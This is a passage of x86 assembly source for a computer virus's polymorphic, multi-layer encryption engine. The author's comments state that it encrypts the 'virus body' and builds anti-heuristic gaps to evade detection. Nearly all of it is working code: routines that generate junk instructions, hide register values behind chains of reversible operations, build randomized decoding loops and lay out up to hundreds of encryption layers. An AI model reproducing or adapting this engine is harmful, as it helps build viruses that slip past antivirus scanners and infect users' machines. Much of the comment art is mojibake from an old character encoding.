|
|||
|
jnz __ppv_push16
|
|||
|
|
|||
|
; short or long value ?
|
|||
|
call ppe_get_rnd32
|
|||
|
and al,1
|
|||
|
jnz __ppv_push32_short
|
|||
|
|
|||
|
; long value
|
|||
|
mov al,68h ;save: PUSH 11223344h
|
|||
|
stosb ;code: 68 44332211
|
|||
|
call ppe_get_rnd32
|
|||
|
stosd
|
|||
|
jmp __ppv_finish32
|
|||
|
__ppv_push32_short:
|
|||
|
call ppe_get_rnd32 ;save: PUSH 00000009h
|
|||
|
mov al,6Ah ;code: 6A 09
|
|||
|
stosw
|
|||
|
jmp __ppv_finish32
|
|||
|
__ppv_push16:
|
|||
|
call ppe_get_rnd32
|
|||
|
and al,1
|
|||
|
jnz __ppv_push16_short
|
|||
|
|
|||
|
; long short-value
|
|||
|
mov ax,6866h
|
|||
|
stosw
|
|||
|
call ppe_get_rnd32
|
|||
|
stosw
|
|||
|
jmp __ppv_finish16
|
|||
|
__ppv_push16_short:
|
|||
|
mov ax,6A66h
|
|||
|
stosw
|
|||
|
call ppe_get_rnd32
|
|||
|
stosb
|
|||
|
jmp __ppv_finish16
|
|||
|
|
|||
|
; time to POP value
|
|||
|
__ppv_finish32:
|
|||
|
call gen_garbage ;POP reg32
|
|||
|
call ppe_get_empty_reg
|
|||
|
mov al,58h
|
|||
|
or al,byte ptr [ebx]
|
|||
|
stosb
|
|||
|
jmp __ppv_finish
|
|||
|
__ppv_finish16:
|
|||
|
call gen_garbage ;POP reg16
|
|||
|
call ppe_get_empty_reg
|
|||
|
mov ax,5866h
|
|||
|
or ah,byte ptr [ebx]
|
|||
|
stosw
|
|||
|
|
|||
|
__ppv_finish:
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ function to crypt a random value to reg32 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
g_crypt_value:
|
|||
|
|
|||
|
call ppe_get_empty_reg
|
|||
|
mov bl,al
|
|||
|
call ppe_get_rnd32
|
|||
|
call ppe_crypt_value
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ function to simulate end of encode-loop <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function can generate "destination" compare like a
|
|||
|
;bafflement. So, this garbage generate this code:
|
|||
|
;
|
|||
|
; CALL __pos_1 ;any garbages
|
|||
|
; <rnd_data> ;typical CALL rnd_data
|
|||
|
; __i: JMP __compare_back ; NEW JUMP
|
|||
|
; <rnd_data> ;typical CALL rnd_data
|
|||
|
; __pos_1:
|
|||
|
; <next_code> ;loop,next_index...
|
|||
|
; DEC reg32 ;typical CMP instruction
|
|||
|
; <garbages>
|
|||
|
; CMP reg32,reg32 ;compare registers
|
|||
|
; <garbages - no_flags> ;no_flags garbages
|
|||
|
; JNZ __i ;typical CMP c-jump
|
|||
|
; <garbages>
|
|||
|
; __compare_back: ;come back and continue
|
|||
|
; <next_code>
|
|||
|
;
|
|||
|
g_compare:
|
|||
|
|
|||
|
; do not recursived - because it's few registers
|
|||
|
cmp byte ptr [ebp+recursive_level],01h
|
|||
|
jnz a_compare
|
|||
|
|
|||
|
; have we some free place in rnd_fill ?
|
|||
|
cmp byte ptr [ebp+compare_index],00h
|
|||
|
jz a_compare
|
|||
|
|
|||
|
; this garbage only in the main loop
|
|||
|
cmp byte ptr [ebp+gl_index_reg],-1
|
|||
|
jz a_compare
|
|||
|
|
|||
|
; save used-regs
|
|||
|
mov al,[ebp+used_regs]
|
|||
|
push eax
|
|||
|
|
|||
|
; select a free base-reg to DEC
|
|||
|
call gen_garbage
|
|||
|
call ppe_get_empty_reg
|
|||
|
call __reg_to_bcd
|
|||
|
or [ebp+used_regs],ah
|
|||
|
mov al,48h ;DEC
|
|||
|
or al,byte ptr [ebx]
|
|||
|
stosb
|
|||
|
|
|||
|
call gen_garbage
|
|||
|
|
|||
|
; build CMP instruction
|
|||
|
mov edx,ebx
|
|||
|
__gc_new_reg:
|
|||
|
call ppe_get_reg
|
|||
|
cmp ebx,edx ;i don't want same regz
|
|||
|
jz __gc_new_reg
|
|||
|
mov ah,byte ptr [edx] ;reg to AH
|
|||
|
shl ah,03h ; * 8
|
|||
|
or ah,al
|
|||
|
or ah,0C0h
|
|||
|
mov al,3Bh ;CMP ...
|
|||
|
stosw
|
|||
|
|
|||
|
call gen_garbage_no_flags
|
|||
|
|
|||
|
; build JNZ jmp
|
|||
|
mov ax,850Fh ;JNZ far signature
|
|||
|
stosw
|
|||
|
movzx eax,byte ptr [ebp+compare_index]
|
|||
|
call ppe_get_rnd_range ;select <compare_index>
|
|||
|
mov eax,[ebp+compare_buffer+04h*eax]
|
|||
|
add eax,[ebp+poly_start]
|
|||
|
push eax
|
|||
|
sub eax,edi
|
|||
|
sub eax,00000004h
|
|||
|
stosd
|
|||
|
|
|||
|
call gen_garbage
|
|||
|
|
|||
|
; build JMP to rnd_fill
|
|||
|
pop ecx ;EDI of rnd_fill_jmp in ECX
|
|||
|
mov al,0E9h ;JMP far signature
|
|||
|
mov byte ptr [ecx],al
|
|||
|
mov eax,edi
|
|||
|
sub eax,ecx
|
|||
|
sub eax,00000005h
|
|||
|
mov dword ptr [ecx+00000001h],eax
|
|||
|
|
|||
|
call gen_garbage
|
|||
|
|
|||
|
; destroy all rnd_fill buffers
|
|||
|
mov byte ptr [ebp+compare_index],00h
|
|||
|
|
|||
|
; restore used_regs
|
|||
|
pop eax
|
|||
|
mov [ebp+used_regs],al
|
|||
|
|
|||
|
a_compare: ret
|
|||
|
|
|||
|
;<3B><>Ĵ function to fix delta for copro operations <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;If we generated offset of free memory (by __copro_get_mem)
|
|||
|
;then it's more then time to use delta.
|
|||
|
;
|
|||
|
;input: EBX = offset to reg
|
|||
|
__copro_fix_delta:
|
|||
|
mov al,03h ;ADD instruction
|
|||
|
mov ah,byte ptr [ebx]
|
|||
|
shl ah,3
|
|||
|
or ah,byte ptr [ebp+gl_index_reg]
|
|||
|
or ah,0C0h
|
|||
|
stosw
|
|||
|
ret
|
|||
|
|
|||
|
__copro_unfix_delta:
|
|||
|
mov al,2Bh ;SUB instruction
|
|||
|
mov ah,byte ptr [ebx]
|
|||
|
shl ah,3
|
|||
|
or ah,byte ptr [ebp+gl_index_reg]
|
|||
|
or ah,0C0h
|
|||
|
stosw
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ function to crypt a destination value <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> sado-maso function <11><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function is for crypt a real value which we want to
|
|||
|
;hide. I use only base-reg (eax,edi...) because If I would
|
|||
|
;like to introduce the coprocessor I'd have to use FILD
|
|||
|
;and FIST instruction: FILD qword ptr [edi], where EDI I
|
|||
|
;wanted generate. At first I generate code for encode a
|
|||
|
;destination value and I find out a crypt value. During
|
|||
|
;encoding I save a opposite instruction to stack (add <=>
|
|||
|
;sub). I could not to save decode instructions into a spe-
|
|||
|
;cial buffer because I didn't know a real size - the stack
|
|||
|
;is better for this.
|
|||
|
;
|
|||
|
;input: EAX=destination value
|
|||
|
; BL=destionation register (not in BCD)
|
|||
|
;
|
|||
|
;used instructions: ADD opposite SUB and on the contrary
|
|||
|
; ROL opposite ROR
|
|||
|
; XOR reg <==> XOR reg
|
|||
|
; NOT reg <==> NOT reg
|
|||
|
; MOV reg1,reg2 <==> MOV reg2,reg1
|
|||
|
;
|
|||
|
;do you have anything else ?
|
|||
|
;
|
|||
|
;and now... example:
|
|||
|
; * I want to generate number 0x402CC1 to EDX register
|
|||
|
; MOV ESI, 1985FDD6
|
|||
|
; ROL ESI, BB
|
|||
|
; MOV EAX, ESI
|
|||
|
; NOT EAX
|
|||
|
; MOV EDX, EAX
|
|||
|
; SUB EDX, 4FF3A350 ->EDX = 0x402CC1
|
|||
|
;
|
|||
|
;This is only example but reality it other... better !!!
|
|||
|
;
|
|||
|
actual_reg db ? ;where we've our number which we're generating
|
|||
|
future_reg db ? ;our destination register
|
|||
|
actual_instr db ? ;actual instruction in generate
|
|||
|
old_place dd ? ;where's start crypt value
|
|||
|
;
|
|||
|
ppe_crypt_value:
|
|||
|
|
|||
|
pusha
|
|||
|
|
|||
|
mov ecx,eax ;save destination value
|
|||
|
mov [ebp+old_place ],edi
|
|||
|
mov [ebp+actual_reg],bl
|
|||
|
mov [ebp+future_reg],bl
|
|||
|
|
|||
|
; save destination value to destination reg
|
|||
|
mov al,0B8h
|
|||
|
or al,bl
|
|||
|
stosb ;select destination reg
|
|||
|
mov eax,ecx
|
|||
|
stosd ;save destination value
|
|||
|
|
|||
|
; how many instruction we'll use
|
|||
|
mov eax,00000007h
|
|||
|
call ppe_get_rnd_range
|
|||
|
inc eax
|
|||
|
mov byte ptr [ebp+actual_instr],al
|
|||
|
|
|||
|
push 12345678h ;flag to stack
|
|||
|
__cv_next_loop:
|
|||
|
mov eax,00000003h ;may I change register ?
|
|||
|
call ppe_get_rnd_range
|
|||
|
or eax,eax
|
|||
|
jnz __cv_continue
|
|||
|
|
|||
|
call ppe_get_empty_reg ;i want a free register
|
|||
|
mov al,08Bh
|
|||
|
mov ah,byte ptr [ebx] ;my future reg32
|
|||
|
cmp ah,byte ptr [ebp+actual_reg]
|
|||
|
jz __cv_next_loop ;blah - mov ecx,ecx ??
|
|||
|
shl ah,3
|
|||
|
or ah,byte ptr [ebp+actual_reg]
|
|||
|
or ah,0C0h
|
|||
|
stosw ;finish but now i must create opposite for decode
|
|||
|
mov al,byte ptr [ebx]
|
|||
|
mov ah,byte ptr [ebp+actual_reg]
|
|||
|
shl ah,3
|
|||
|
or ah,al
|
|||
|
or ah,0C0h
|
|||
|
mov byte ptr [ebp+actual_reg],al
|
|||
|
mov al,08Bh
|
|||
|
push ax ;ax = decode mov
|
|||
|
|
|||
|
__cv_continue:
|
|||
|
mov eax,(end_num_code - tbl_num_code) / 04h
|
|||
|
call ppe_get_rnd_range
|
|||
|
|
|||
|
lea esi,[ebp+tbl_num_code+4*eax]
|
|||
|
lodsb ;load where we have encode instruction
|
|||
|
lodsw ;AH = base_reg, AL = id_operation
|
|||
|
or ah,[ebp+actual_reg]
|
|||
|
push ax ;save because of separate actual_reg
|
|||
|
stosw
|
|||
|
lodsb ;imm(X) = 3rd_number * 8
|
|||
|
mov dl,al
|
|||
|
push ax ;now, we must generate imm
|
|||
|
__cv_generate_imm: ;imm32 = (add,sub) reg32,imm32
|
|||
|
or dl,dl ;imm8 = (rol,ror) reg32,imm8
|
|||
|
jz __cv_opposite_code ;imm0 = not reg32
|
|||
|
call ppe_get_rnd32
|
|||
|
rol ebx,8 ;save rnd number to EBX
|
|||
|
mov bl,al
|
|||
|
stosb
|
|||
|
dec dl
|
|||
|
jmp __cv_generate_imm
|
|||
|
|
|||
|
__cv_opposite_code:
|
|||
|
pop ax ;ax = imm(X)
|
|||
|
pop cx ;ch = reg32, cl = encode instruction
|
|||
|
__cv_oc_generate_imm:
|
|||
|
or al,al ;is it imm0 ?
|
|||
|
jz __cv_oc_imm_ok
|
|||
|
dec esp ;save imm to stack
|
|||
|
mov byte ptr ss:[esp],bl
|
|||
|
ror ebx,8 ;next number in imm
|
|||
|
dec al
|
|||
|
jmp __cv_oc_generate_imm
|
|||
|
|
|||
|
__cv_oc_imm_ok:
|
|||
|
lea esi,[esi-4] ;esi = start of encode instruction
|
|||
|
lodsb ;AL = opposite instruction (add <=> sub)
|
|||
|
movsx eax,al ;is it previous or next instruction ?
|
|||
|
add esi,eax ;esi = decode instruction
|
|||
|
lodsb
|
|||
|
lodsw ;al = (en/de)code instruction
|
|||
|
and ch,00000111b ;separate reg only
|
|||
|
or ah,ch ;change register
|
|||
|
push ax ;save encode instruction to stack
|
|||
|
|
|||
|
dec byte ptr [ebp+actual_instr]
|
|||
|
jnz __cv_next_loop
|
|||
|
|
|||
|
;now, we must find out the crypt value
|
|||
|
mov ax,0C08Bh
|
|||
|
or ah,byte ptr [ebp+actual_reg]
|
|||
|
stosw ;save destination value to EAX
|
|||
|
mov al,0C3h
|
|||
|
stosb ;ret = out of call
|
|||
|
|
|||
|
;to find out crypt value we must call decode function
|
|||
|
;output: eax = crypt value
|
|||
|
pusha
|
|||
|
call dword ptr [ebp+old_place]
|
|||
|
mov [esp].access_eax,eax
|
|||
|
popa
|
|||
|
|
|||
|
;save into last_reg our crypt value
|
|||
|
mov edi,[ebp+old_place]
|
|||
|
push eax
|
|||
|
mov al,0B8h
|
|||
|
or al,byte ptr [ebp+actual_reg]
|
|||
|
stosb
|
|||
|
pop eax
|
|||
|
stosd
|
|||
|
|
|||
|
;now, we must write decode instructions to old EDI
|
|||
|
__cv_oc_out_of_stack:
|
|||
|
cmp dword ptr ss:[esp],12345678h
|
|||
|
jz __cv_oc_finish
|
|||
|
mov al,byte ptr ss:[esp]
|
|||
|
inc esp
|
|||
|
stosb
|
|||
|
jmp __cv_oc_out_of_stack
|
|||
|
__cv_oc_finish:
|
|||
|
pop eax ;flag from stack
|
|||
|
|
|||
|
mov [esp],edi
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ last decoding loop <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function encrypts virus body like 3rd decoding loop.
|
|||
|
;The algorithm is in front of the virus. It means, multi-
|
|||
|
;layer algorithm is behind virus, then is jump to back and
|
|||
|
;then is next decoding loop.
|
|||
|
;
|
|||
|
__pllg_memory dd 00000000h ;decoding loop mem
|
|||
|
__pllg_countreg db 00h ;counter register
|
|||
|
__pllg_indexreg db 00h ;index register
|
|||
|
__pllg_codereg db 00h ;code register
|
|||
|
__pllg_lsize dd 00000000h ;loop size
|
|||
|
;
|
|||
|
ppe_lloop_generate:
|
|||
|
|
|||
|
; save all registers
|
|||
|
pusha
|
|||
|
|
|||
|
; allocate memory for decoding loop
|
|||
|
mov eax,10000
|
|||
|
call malloc
|
|||
|
mov [ebp+__pllg_memory],eax
|
|||
|
mov edi,eax
|
|||
|
|
|||
|
; generate index and its register
|
|||
|
call gen_garbage
|
|||
|
__pllg_new_reg:
|
|||
|
call ppe_get_empty_reg
|
|||
|
cmp al,00000100b
|
|||
|
jae __pllg_new_reg
|
|||
|
call __reg_to_bcd
|
|||
|
mov bl,al
|
|||
|
mov [ebp+__pllg_indexreg],bl
|
|||
|
or [ebp+used_regs],ah
|
|||
|
mov al,0E8h ;CALL
|
|||
|
stosb
|
|||
|
xor eax,eax
|
|||
|
stosd
|
|||
|
mov al,58h
|
|||
|
add al,[ebp+__pllg_indexreg]
|
|||
|
stosb
|
|||
|
mov ax,0C081h
|
|||
|
add ah,[ebp+__pllg_indexreg]
|
|||
|
stosw
|
|||
|
push edi
|
|||
|
add edi,00000004h ;do place for ADD
|
|||
|
|
|||
|
; generate counter register
|
|||
|
call gen_garbage
|
|||
|
call ppe_get_empty_reg
|
|||
|
call __reg_to_bcd
|
|||
|
mov bl,al
|
|||
|
mov [ebp+__pllg_countreg],al
|
|||
|
or [ebp+used_regs],ah
|
|||
|
call ppe_get_rnd32
|
|||
|
push eax
|
|||
|
call ppe_crypt_value
|
|||
|
|
|||
|
; generate code register
|
|||
|
call gen_garbage
|
|||
|
call ppe_get_empty_reg
|
|||
|
call __reg_to_bcd
|
|||
|
mov bl,al
|
|||
|
mov [ebp+__pllg_codereg],bl
|
|||
|
or [ebp+used_regs],ah
|
|||
|
call ppe_get_rnd32
|
|||
|
call ppe_crypt_value
|
|||
|
|
|||
|
; generate XOR machanism
|
|||
|
push edi
|
|||
|
call gen_garbage
|
|||
|
mov ah,[ebp+__pllg_codereg]
|
|||
|
shl ah,03h
|
|||
|
add ah,[ebp+__pllg_indexreg]
|
|||
|
mov al,31h
|
|||
|
stosw
|
|||
|
call gen_garbage
|
|||
|
|
|||
|
; generate next index value
|
|||
|
mov ah,0C0h
|
|||
|
add ah,[ebp+__pllg_indexreg]
|
|||
|
mov al,83h
|
|||
|
stosw
|
|||
|
mov al,04h
|
|||
|
stosb
|
|||
|
call gen_garbage
|
|||
|
|
|||
|
; geneerate next counter value
|
|||
|
mov al,40h
|
|||
|
add al,[ebp+__pllg_countreg]
|
|||
|
stosb
|
|||
|
call gen_garbage
|
|||
|
|
|||
|
; generate comparing
|
|||
|
mov ax,0F881h
|
|||
|
add ah,[ebp+__pllg_countreg]
|
|||
|
stosw
|
|||
|
mov eax,[esp+4]
|
|||
|
add eax,file_size shr 2
|
|||
|
stosd
|
|||
|
call gen_garbage_no_flags
|
|||
|
mov ax,850Fh ;JNZ identification
|
|||
|
stosw
|
|||
|
mov eax,[esp]
|
|||
|
sub eax,edi
|
|||
|
sub eax,4
|
|||
|
stosd
|
|||
|
call gen_garbage
|
|||
|
|
|||
|
; generate do-nothing instructions
|
|||
|
mov al,0C3h
|
|||
|
push edi
|
|||
|
stosb
|
|||
|
__pllg_align:
|
|||
|
mov eax,edi
|
|||
|
sub eax,[ebp+__pllg_memory]
|
|||
|
mov ebx,8
|
|||
|
xor edx,edx
|
|||
|
div ebx
|
|||
|
or edx,edx
|
|||
|
jz __pllg_finish
|
|||
|
mov al,90h
|
|||
|
stosb
|
|||
|
jmp __pllg_align
|
|||
|
__pllg_finish:
|
|||
|
|
|||
|
; change index value
|
|||
|
mov eax,edi
|
|||
|
sub eax,[esp+0ch]
|
|||
|
add eax,00000003h
|
|||
|
mov ebx,[esp+0ch]
|
|||
|
mov [ebx],eax
|
|||
|
|
|||
|
; do place for this algorithm
|
|||
|
push edi
|
|||
|
mov esi,[ebp+mem_address]
|
|||
|
add edi,esi
|
|||
|
sub edi,[ebp+__pllg_memory]
|
|||
|
mov ecx,edi
|
|||
|
sub ecx,esi
|
|||
|
mov [esi+__pllg_lsize-virus_start],ecx
|
|||
|
add ecx,file_size
|
|||
|
mov [ebp+file_size2],ecx
|
|||
|
mov [ebp+file_size3],ecx
|
|||
|
shr [ebp+file_size2],03h
|
|||
|
call __movsd_back
|
|||
|
|
|||
|
; copy this algorithm
|
|||
|
mov esi,[ebp+__pllg_memory]
|
|||
|
mov edi,[ebp+mem_address]
|
|||
|
pop ecx
|
|||
|
sub ecx,[ebp+__pllg_memory]
|
|||
|
rep movsb
|
|||
|
|
|||
|
; run that algorithm
|
|||
|
pusha
|
|||
|
mov eax,[ebp+mem_address]
|
|||
|
call eax
|
|||
|
popa
|
|||
|
mov eax,[esp]
|
|||
|
sub eax,[ebp+__pllg_memory]
|
|||
|
add eax,[ebp+mem_address]
|
|||
|
mov byte ptr [eax],90h
|
|||
|
|
|||
|
; dealloc memory
|
|||
|
mov eax,[ebp+__pllg_memory]
|
|||
|
call mdealloc
|
|||
|
xor eax,eax
|
|||
|
mov [ebp+__pllg_memory],eax
|
|||
|
|
|||
|
; restore all registers
|
|||
|
mov [ebp+used_regs],00h
|
|||
|
add esp,4*4
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ multi-layer engine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function generates multi-layer map. And because I am
|
|||
|
;crazy, this is true multi-layer engine. So look here:
|
|||
|
;
|
|||
|
; Every polymorphic en- vs. Every multi-layer engine
|
|||
|
; gine encodes l. this: encodes in this way:
|
|||
|
; <20> (virus_start) <20> <20>
|
|||
|
; <20> <20> 1st <20> 2nd
|
|||
|
; <20> <20> layer <20> layer
|
|||
|
; <20> <20> <20>
|
|||
|
; (down or up) etc.
|
|||
|
;
|
|||
|
;But my multi-layer engine has these features:
|
|||
|
; * randomly generated layer's movement (down or up)
|
|||
|
; * maximal is 986 layers
|
|||
|
; * typical is 68 layers
|
|||
|
; * layers' buffer with gaps (anti-heuristic)
|
|||
|
;
|
|||
|
;My resulting coding progress:
|
|||
|
; <20> ڿ <20> <20> <20> three layers
|
|||
|
; <20>ڿ<EFBFBD><DABF> <20> <20> <20> <20> <20> <20> five layers
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD>ڿ <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> seven layers
|
|||
|
; <20>ٳ<EFBFBD><D9B3><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20>
|
|||
|
; <20><><EFBFBD>ٳ
|
|||
|
; <20><> <20>
|
|||
|
;
|
|||
|
;
|
|||
|
;Here you can see I need layers buffer, where I have all
|
|||
|
;movement (down and up). Every byte has this structure:
|
|||
|
;
|
|||
|
; 8th bit (down/up), 7th-1st bit (+/- movement)
|
|||
|
;
|
|||
|
;Some equations:
|
|||
|
; * maximum layers:
|
|||
|
; ((file_size-2^7*4)/(layer_buf-file_size-2^7*4))/2=968
|
|||
|
; * typical layers:
|
|||
|
; 2^7 * 4 * layer_buf / file_size = 68
|
|||
|
;
|
|||
|
;Where:
|
|||
|
; * file_size = calculated for 18,000 bytes
|
|||
|
; * layer_buf = calculated for 2,400 bytes
|
|||
|
; * 2^7 = we have eight bites without one (+/-)
|
|||
|
; * 4 = we use dword, not byte
|
|||
|
;
|
|||
|
;The layers buffer is behind polymorphic loop, and it cer-
|
|||
|
;tains anti-heuristic :), because in that buffer are gaps.
|
|||
|
;And these treatments are inside polydecoding loop.
|
|||
|
;
|
|||
|
;
|
|||
|
__mlg_map dd 00000000h ;layers memory map
|
|||
|
__mlg_size dd 00000000h ;size of layer buffer
|
|||
|
file_size2 dd 00000000h ;(file_size+3rd l.)/8
|
|||
|
file_size3 dd 00000000h ;file_size2 * 8
|
|||
|
;
|
|||
|
ppe_mlayer_generate:
|
|||
|
|
|||
|
; save all registers
|
|||
|
pusha
|
|||
|
|
|||
|
; allocate memory for layer map
|
|||
|
push 00000000h ;number of encrypted bytes
|
|||
|
mov eax,000000C9h ;get size of layers map
|
|||
|
call ppe_get_rnd_range ;maximum is 2,600 bytes
|
|||
|
shl eax,03h ;multiply by eight
|
|||
|
add eax,1000
|
|||
|
push eax ;[ESP] = size of layers map
|
|||
|
shr dword ptr [esp],03h ;divide by eight
|
|||
|
call malloc ;allocate that memory
|
|||
|
mov [ebp+__mlg_map],eax
|
|||
|
|
|||
|
; generate eight parts
|
|||
|
mov edi,[ebp+__mlg_map] ;EDI = memory layers map
|
|||
|
xor ecx,ecx ;ECX = actual part
|
|||
|
xor edx,edx ;EDX = position in layer
|
|||
|
call __mlg_gen_max_movement
|
|||
|
mov byte ptr [edi],al ;the first movement
|
|||
|
movzx ebx,al ;EBX = position in vbody
|
|||
|
inc edi ; + memory layer map
|
|||
|
inc edx ; + pos in actual layer
|
|||
|
__mlg_next_movement:
|
|||
|
call __mlg_gen_max_movement ;generate new movement (+/-)
|
|||
|
jc __mlg_no_compare ;if AL==0, then "go up" flag
|
|||
|
push eax
|
|||
|
mov eax,00000003h ; 2 * DOWN, 1 * UP
|
|||
|
call ppe_get_rnd_range
|
|||
|
or al,al ;go back ? (it means UP !)
|
|||
|
pop eax ;movement
|
|||
|
jnz __mlg_go_down
|
|||
|
cmp ebx,eax ;EBX - EAX < 0 ?
|
|||
|
jb __mlg_go_down ;if yes, go down, not up
|
|||
|
__mlg_no_compare:
|
|||
|
sub ebx,eax ; = actul pos in vbody
|
|||
|
or al,80h ;set "go up" flag
|
|||
|
jmp $ + 00000004h
|
|||
|
__mlg_go_down:
|
|||
|
add ebx,eax ; = actual pos in vbody
|
|||
|
mov byte ptr [edi],al ;write new movement (+/-)
|
|||
|
inc edi ; + memory layer map
|
|||
|
inc edx ; + pos in actual layer
|
|||
|
__mlg_compare:
|
|||
|
cmp edx,[esp] ;EDX == size of layers map/8
|
|||
|
jb __mlg_continue
|
|||
|
inc ecx ;next part
|
|||
|
xor edx,edx ;position in layer
|
|||
|
add [esp+00000004h],ebx ;number of encrypted bytes
|
|||
|
cmp ecx,00000008h ;was it last part ?
|
|||
|
jnz __mlg_no_last
|
|||
|
mov ebx,[ebp+file_size3] ;file_size + 3rd_loop
|
|||
|
sub ebx,[esp+00000004h] ;encrypted bytes
|
|||
|
neg ebx ; - EBX
|
|||
|
jmp $ + 00000008h
|
|||
|
__mlg_no_last:
|
|||
|
sub ebx,[ebp+file_size2] ;EBX < file_size2 ?
|
|||
|
mov esi,ebx ;my the only one empty reg :)
|
|||
|
bt esi,3Fh
|
|||
|
jnc __mlg_continue ;no bytes to down ? ESI > 0 ?
|
|||
|
__mlg_no_last_next:
|
|||
|
call __mlg_gen_max_movement_without_test
|
|||
|
push esi ;ESI + EAX <= 0, then okay
|
|||
|
add esi,eax ;ESI + EAX > 0, then again
|
|||
|
or esi,esi ;set (Z)ero flag
|
|||
|
bt esi,3Fh ;set (C)arry flag
|
|||
|
pop esi
|
|||
|
jc $ + 00000004h ;all right
|
|||
|
jnz __mlg_no_last_next ;ESI + EAX > 0
|
|||
|
add [esp+00000004h],eax ;number of encrypted bytes
|
|||
|
mov byte ptr [edi],al ;and write that...
|
|||
|
inc edi ; + memory layer map
|
|||
|
inc edx ; + pos in actual layer
|
|||
|
add ebx,eax ;position in vbody
|
|||
|
add esi,eax ;ESI += EAX, bytes to down
|
|||
|
bt esi,3Fh ;ESI > 0 ?
|
|||
|
jc __mlg_no_last_next
|
|||
|
__mlg_continue:
|
|||
|
cmp ecx,00000008h ;last part ?
|
|||
|
jnz __mlg_next_movement ;next and next loop...
|
|||
|
sub edi,[ebp+__mlg_map] ;number of encrypted bytes
|
|||
|
mov [ebp+__mlg_size],edi
|
|||
|
|
|||
|
; encrypt the encrypted virus body by 3rd decoding loop :)
|
|||
|
mov esi,[ebp+__mlg_map] ;layers memory map
|
|||
|
mov edi,[ebp+mem_address]
|
|||
|
mov edx,[ebp+__mlg_size] ;size of layers buffer
|
|||
|
mov ebx,[ebp+code_value]
|
|||
|
__mlg_next_byte:
|
|||
|
lodsb ;load movement
|
|||
|
movzx ecx,al ;convert to ECX & 7Fh
|
|||
|
and cl,7Fh ;clear (+/-) flag
|
|||
|
sub ebx,[ebp+code_value_add] ;damn bug !
|
|||
|
__mlg_next_dword:
|
|||
|
cmp byte ptr [ebp+crypt_style],02h
|
|||
|
jz __mlg_xor
|
|||
|
cmp byte ptr [ebp+crypt_style],01h
|
|||
|
jz __mlg_add
|
|||
|
sub byte ptr [edi],bl
|
|||
|
jmp __mlg_next_value
|
|||
|
__mlg_add:
|
|||
|
add byte ptr [edi],bl
|
|||
|
jmp __mlg_next_value
|
|||
|
__mlg_xor:
|
|||
|
xor byte ptr [edi],bl
|
|||
|
__mlg_next_value:
|
|||
|
inc edi ;next value (+)
|
|||
|
rol ebx,01h ;bits rotate
|
|||
|
test al,80h ;check that flag
|
|||
|
jz __mlg_go_cow
|
|||
|
sub edi,00000002h ;next value (-)
|
|||
|
__mlg_go_cow:
|
|||
|
dec cl ;next byte (value)
|
|||
|
jnz __mlg_next_dword
|
|||
|
bt eax,7 ;test 7th bit
|
|||
|
jc __mlg_back
|
|||
|
